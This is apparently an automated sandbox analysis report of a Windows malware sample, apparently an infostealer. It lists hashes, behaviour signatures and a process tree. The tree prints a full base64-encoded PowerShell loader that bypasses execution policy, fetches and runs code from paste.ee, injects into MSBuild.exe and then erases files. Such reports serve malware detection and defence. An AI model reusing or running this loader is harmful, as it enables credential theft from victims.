Analysis
-
max time kernel
54s -
max time network
55s -
platform
windows7_x64 -
resource
win7 -
submitted
07-07-2020 13:12
Static task
static1
Behavioral task
behavioral1
Sample
WYhCe.exe
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
WYhCe.exe
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
WYhCe.exe
-
Size
103KB
-
MD5
c2337bf726d285b3e59ef7f26f388bca
-
SHA1
5b2bfc673012d02f27299db6929a144fd2517f93
-
SHA256
e10c07621cbf12d95bfcb870835c10bbda376fd9e17e49f5caca6b3a3d239bdb
-
SHA512
27e9e92d12658dd6a6e1e710577ea94d8523d3a6f703646007d8d001db9a2b608d314d9e727063207699db9717ed0e2bb77c2a19bae3e79542bec9389c5d2ba1
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1336 powershell.exe -
Blacklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 4 1336 powershell.exe 5 1336 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1336 set thread context of 764 1336 powershell.exe MSBuild.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks for installed software on the system 1 TTPs 29 IoCs
Processes:
MSBuild.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName MSBuild.exe Key enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName MSBuild.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\DisplayName MSBuild.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}\DisplayName MSBuild.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious use of WriteProcessMemory 26 IoCs
Processes:
WYhCe.execmd.exepowershell.exeMSBuild.execmd.exedescription pid process target process PID 832 wrote to memory of 1208 832 WYhCe.exe cmd.exe PID 832 wrote to memory of 1208 832 WYhCe.exe cmd.exe PID 832 wrote to memory of 1208 832 WYhCe.exe cmd.exe PID 832 wrote to memory of 1208 832 WYhCe.exe cmd.exe PID 1208 wrote to memory of 1336 1208 cmd.exe powershell.exe PID 1208 wrote to memory of 1336 1208 cmd.exe powershell.exe PID 1208 wrote to memory of 1336 1208 cmd.exe powershell.exe PID 1208 wrote to memory of 1336 1208 cmd.exe powershell.exe PID 1336 wrote to memory of 764 1336 powershell.exe MSBuild.exe PID 1336 wrote to memory of 764 1336 powershell.exe MSBuild.exe PID 1336 wrote to memory of 764 1336 powershell.exe MSBuild.exe PID 1336 wrote to memory of 764 1336 powershell.exe MSBuild.exe PID 1336 wrote to memory of 764 1336 powershell.exe MSBuild.exe PID 1336 wrote to memory of 764 1336 powershell.exe MSBuild.exe PID 1336 wrote to memory of 764 1336 powershell.exe MSBuild.exe PID 1336 wrote to memory of 764 1336 powershell.exe MSBuild.exe PID 1336 wrote to memory of 764 1336 powershell.exe MSBuild.exe PID 1336 wrote to memory of 764 1336 powershell.exe MSBuild.exe PID 764 wrote to memory of 1664 764 MSBuild.exe cmd.exe PID 764 wrote to memory of 1664 764 MSBuild.exe cmd.exe PID 764 wrote to memory of 1664 764 MSBuild.exe cmd.exe PID 764 wrote to memory of 1664 764 MSBuild.exe cmd.exe PID 1664 wrote to memory of 1656 1664 cmd.exe PING.EXE PID 1664 wrote to memory of 1656 1664 cmd.exe PING.EXE PID 1664 wrote to memory of 1656 1664 cmd.exe PING.EXE PID 1664 wrote to memory of 1656 1664 cmd.exe PING.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1336 powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\WYhCe.exe"C:\Users\Admin\AppData\Local\Temp\WYhCe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start PowERsHELl.ExE -ExecutionPolicy bypass -w 1 /e JABIAFAAdgBhAGQASQAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHUAQgBKADEAZgAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAEsAcQBNAFkAUQBDAGUAZABMAGgAcwBDAFkARwBpAHMAVgBvAGEATQBYAFAAdwBLAFUAYwBTAHcAdAB6AHgAUQBEAGMAbQBVAG4AaQBYAEEASQB5AG8AdABMAGEAWQBkAGkATgBuAFoAUABUAFUAZQBOAGcATgB0AHQAdwBqAHMAWgBTAHQAbABnAFEAQQBGAGcAbQBhAEcAUQBWAHEAZwBEAFcAWgB5AFgAUQBEAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ASABpAFMANgBpACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqACkA2⤵
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowERsHELl.ExE -ExecutionPolicy bypass -w 1 /e JABIAFAAdgBhAGQASQAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHUAQgBKADEAZgAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAEsAcQBNAFkAUQBDAGUAZABMAGgAcwBDAFkARwBpAHMAVgBvAGEATQBYAFAAdwBLAFUAYwBTAHcAdAB6AHgAUQBEAGMAbQBVAG4AaQBYAEEASQB5AG8AdABMAGEAWQBkAGkATgBuAFoAUABUAFUAZQBOAGcATgB0AHQAdwBqAHMAWgBTAHQAbABnAFEAQQBGAGcAbQBhAEcAUQBWAHEAZwBEAFcAWgB5AFgAUQBEAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ASABpAFMANgBpACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqACkA3⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:1336 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- Checks for installed software on the system
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping google.com && erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe5⤵
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\SysWOW64\PING.EXEping google.com6⤵
- Runs ping.exe
PID:1656